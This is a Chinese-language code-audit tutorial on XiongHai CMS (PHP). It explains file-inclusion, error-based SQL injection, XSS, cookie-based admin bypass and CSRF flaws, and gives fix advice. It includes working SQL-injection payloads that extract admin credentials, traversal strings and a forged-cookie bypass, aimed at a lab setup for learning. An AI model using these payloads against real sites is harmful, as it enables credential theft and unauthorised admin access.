初次代码审计之熊海cms
字数 1324 2025-08-29 08:31:35

熊海CMS代码审计教学文档

一、审计环境准备

  1. 使用小皮面板搭建测试环境
  2. 新建网站部署熊海CMS源码
  3. 使用Seay源代码审计系统进行初步扫描

二、目录结构分析

admin/          -- 管理后台文件夹
css/            -- 存放CSS的文件夹
files/          -- 存放页面的文件夹
images/         -- 存放图片的文件夹
inc/            -- 网站配置文件文件夹
install/        -- 网站安装文件夹
seacmseditor/   -- 编辑器文件夹
template/       -- 模板文件夹
upload/         -- 上传功能文件夹
index.php       -- 网站首页

三、漏洞类型及分析

1. 文件包含漏洞

漏洞文件

  • index.php
  • admin/index.php

漏洞代码

$file=addslashes($_GET['r']);
$action=$file==''?'index':$file;
include('files/'.$action.'.php');

漏洞分析

  1. 使用addslashes()转义输入,但对文件包含无效
  2. 未限制包含文件路径,可目录穿越
  3. 可包含任意.php文件

利用方式

?r=phpinfo       // 包含files/phpinfo.php
?r=../phpinfo    // 包含根目录phpinfo.php

2. SQL注入漏洞

(1) 后台登录注入

漏洞文件:admin/files/login.php

漏洞代码

$user=$_POST['user'];
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());

漏洞特点

  1. 未过滤用户输入
  2. 开启mysql_error()错误显示
  3. 报错注入可行
  4. 密码字段使用MD5比对,无法万能密码

利用payload

1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
1' or updatexml(1,concat((select concat(0x7e,user) from manage)),0) #

(2) 其他后台注入点

漏洞文件

  • admin/files/softlist.php
  • admin/files/editlink.php

漏洞代码

$delete=$_GET['delete'];
$query = "DELETE FROM download WHERE id='$delete'";

(3) 前台注入

漏洞文件:files/software.php

漏洞代码

$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id='$id'";

特殊点

  1. 虽然使用addslashes(),但magic_quotes_gpc默认开启导致双转义失效
  2. 仍可报错注入

利用payload

?r=content&cid=1%20or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))

(4) 安装流程注入

漏洞文件:install/index.php

漏洞代码

$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
@mysql_query($query) or die('修改错误:'.mysql_error());

利用条件

  1. 需删除InstallLock.txt文件锁
  2. 重新安装时在user处注入

利用payload

1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#

3. XSS漏洞

(1) 反射型XSS

漏洞文件:files/contact.php

漏洞代码

$page=addslashes($_GET['page']);
<?php echo $page?>

利用payload


(2) 存储型XSS

漏洞文件:admin/files/manageinfo.php

漏洞代码

$user=$_POST['user'];
$name=$_POST['name'];
$query = "UPDATE manage SET user='$user',name='$name'...";

利用payload


4. 垂直越权

漏洞文件:inc/checklogin.php

漏洞代码

$user=$_COOKIE['user'];
if ($user==""){
    header("Location: ?r=login");
    exit;
}

利用方式

  1. 直接添加Cookie: user=admin
  2. 无需密码即可访问后台

5. CSRF漏洞

漏洞文件:admin/files/wzlist.php

漏洞代码

$delete=$_GET['delete'];
if ($delete<>""){
    $query = "DELETE FROM content WHERE id='$delete'";
    $result = mysql_query($query);
    echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";
    exit;
}

利用方式

  1. 构造恶意链接:www.xionghai.com/admin/?r=wzlist&delete=18
  2. 诱骗管理员访问(需配合管理员Cookie)

四、漏洞修复建议

  1. 文件包含

    • 限制包含文件路径
    • 使用白名单机制
    • 禁用动态包含
  2. SQL注入

    • 使用预处理语句
    • 过滤特殊字符
    • 关闭错误回显
  3. XSS漏洞

    • 输出时使用htmlspecialchars()
    • 输入时过滤特殊字符
  4. 越权漏洞

    • 实现完整的会话验证机制
    • 使用CSRF Token
  5. CSRF漏洞

    • 添加CSRF Token验证
    • 检查Referer头

五、审计总结

  1. 该CMS适合初学者学习代码审计
  2. 存在典型的安全漏洞:
    • 未过滤用户输入
    • 缺乏权限验证
    • 错误处理不当
  3. 漏洞利用链完整,从前台到后台均有安全问题
  4. 可作为代码审计入门案例学习

六、参考资源

  1. https://blog.csdn.net/qq_36869808/article/details/84324747
  2. PHP安全编程手册
  3. OWASP Top 10安全风险
熊海CMS代码审计教学文档 一、审计环境准备 使用小皮面板搭建测试环境 新建网站部署熊海CMS源码 使用Seay源代码审计系统进行初步扫描 二、目录结构分析 三、漏洞类型及分析 1. 文件包含漏洞 漏洞文件 : index.php admin/index.php 漏洞代码 : 漏洞分析 : 使用addslashes()转义输入,但对文件包含无效 未限制包含文件路径,可目录穿越 可包含任意.php文件 利用方式 : 2. SQL注入漏洞 (1) 后台登录注入 漏洞文件 :admin/files/login.php 漏洞代码 : 漏洞特点 : 未过滤用户输入 开启mysql_ error()错误显示 报错注入可行 密码字段使用MD5比对,无法万能密码 利用payload : (2) 其他后台注入点 漏洞文件 : admin/files/softlist.php admin/files/editlink.php 漏洞代码 : (3) 前台注入 漏洞文件 :files/software.php 漏洞代码 : 特殊点 : 虽然使用addslashes(),但magic_ quotes_ gpc默认开启导致双转义失效 仍可报错注入 利用payload : (4) 安装流程注入 漏洞文件 :install/index.php 漏洞代码 : 利用条件 : 需删除InstallLock.txt文件锁 重新安装时在user处注入 利用payload : 3. XSS漏洞 (1) 反射型XSS 漏洞文件 :files/contact.php 漏洞代码 : 利用payload : (2) 存储型XSS 漏洞文件 :admin/files/manageinfo.php 漏洞代码 : 利用payload : 4. 垂直越权 漏洞文件 :inc/checklogin.php 漏洞代码 : 利用方式 : 直接添加Cookie: user=admin 无需密码即可访问后台 5. CSRF漏洞 漏洞文件 :admin/files/wzlist.php 漏洞代码 : 利用方式 : 构造恶意链接: www.xionghai.com/admin/?r=wzlist&delete=18 诱骗管理员访问(需配合管理员Cookie) 四、漏洞修复建议 文件包含 : 限制包含文件路径 使用白名单机制 禁用动态包含 SQL注入 : 使用预处理语句 过滤特殊字符 关闭错误回显 XSS漏洞 : 输出时使用htmlspecialchars() 输入时过滤特殊字符 越权漏洞 : 实现完整的会话验证机制 使用CSRF Token CSRF漏洞 : 添加CSRF Token验证 检查Referer头 五、审计总结 该CMS适合初学者学习代码审计 存在典型的安全漏洞: 未过滤用户输入 缺乏权限验证 错误处理不当 漏洞利用链完整,从前台到后台均有安全问题 可作为代码审计入门案例学习 六、参考资源 https://blog.csdn.net/qq_ 36869808/article/details/84324747 PHP安全编程手册 OWASP Top 10安全风险